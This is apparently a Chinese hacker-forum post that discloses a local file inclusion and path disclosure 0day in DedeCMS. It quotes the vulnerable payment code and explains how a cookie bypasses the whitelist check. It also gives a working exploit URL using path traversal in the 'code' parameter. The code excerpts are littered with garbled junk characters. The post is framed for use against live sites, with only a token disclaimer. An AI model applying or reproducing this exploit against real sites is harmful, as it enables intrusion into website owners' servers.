dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

4 ]* N5 \$ F. C: W$ Z5 T6 R5 b出现漏洞的两个文件为：
Include/payment/alipay.php
Include/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。
, o) ?% ?5 w$ P" w- h
' E' w. }. R' G3 L7 N5 p/ H9 AInclude/payment/alipay.php
  @8 p/ K4 n3 _* [6 K+ K
" `& T0 S0 s. C+ V2 D......
  M! \$ o5 |7 d5 p3 W   function respond()
& B* G# E# c1 r& Y; K2 g9 f# H    {
8 m9 P5 ^; k7 f$ |1 Z1 A) N        if (!empty($_POST))
3 ]) l# n! L* @' D: U* O        {
            foreach($_POST as $key => $data)
            {
* m7 j* u' x% i% }                $_GET[$key] = $data;
            }
        }
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
0 j) j$ P1 A4 |( M% l4 S......
; z. i2 p1 f- P- U4 h- J

大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php


3 u0 M7 @* \3 o' `/ _. f7 I5 z' L
......
    function respond()
: b% I$ h, b+ s4 z4 B    {
' [; Q/ v7 E, q9 x! V
        /* 引入配置文件 */
# l& Q& x' t' ~1 I) b  q% A        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
3 o" J# v  ~# ]% Z4 m......
1 E, A! w, D. H( I: I5 R/ g
6 U% Y* t' c) z) r: q

0 |) k, ^0 b7 Y; T& K
3 t' Z' h6 O/ Z7 r5 K! V大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。

9 J. Q$ g6 S# O这两个方法在plus/carbuyaction.php文件调用。

7 z: d8 l% k  ~plus/carbuyaction.php

......
- M# m8 u( G1 K& H} else if ($dopost == 'return') {
1 n! y; f- b7 r% r  }1 R    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
7 A+ s/ T+ X1 z* Z! J    {
; Y: [& ^& `* D  W+ c, ^; x        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
' S2 _+ b& {, k3 v, K! A        $msg=$pay->respond();
  ?+ D) j$ u' R# F% `2 R) Y        ShowMsg($msg, "javascript:;", 0, 3000);
8 T" G8 ~- H3 a* R, g/ U) m# {        exit();  
. p1 J" Z' G- t0 M" I6 [$ g/ n    } else {
        exit('Error:File Type Can\'t Recognized!');
    }
}
......

% U0 g: _+ f% V4 y* G8 R2 D9 j


0 x8 F, n  k( H* @. g

& @  S- ]" z% f. \$ p( ^9 ^* b( T2 f大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
) ]: F6 ~; F$ V  c3 p$ I所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

) j. T& ^) z# z  ?回到include/common.inc.php来看看他的机制。
4 @& k1 {1 x6 v: ]- h  M( z

3 m- z! w- L; L
......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
% u0 \& D( L2 u, V{
5 }3 p: W/ M: R5 |! W) x        foreach($$_request as $_k => $_v)
- l6 ^8 f9 {0 \        {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
        }
}
......
! L( q: t3 J2 G7 D# q- \1 d大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。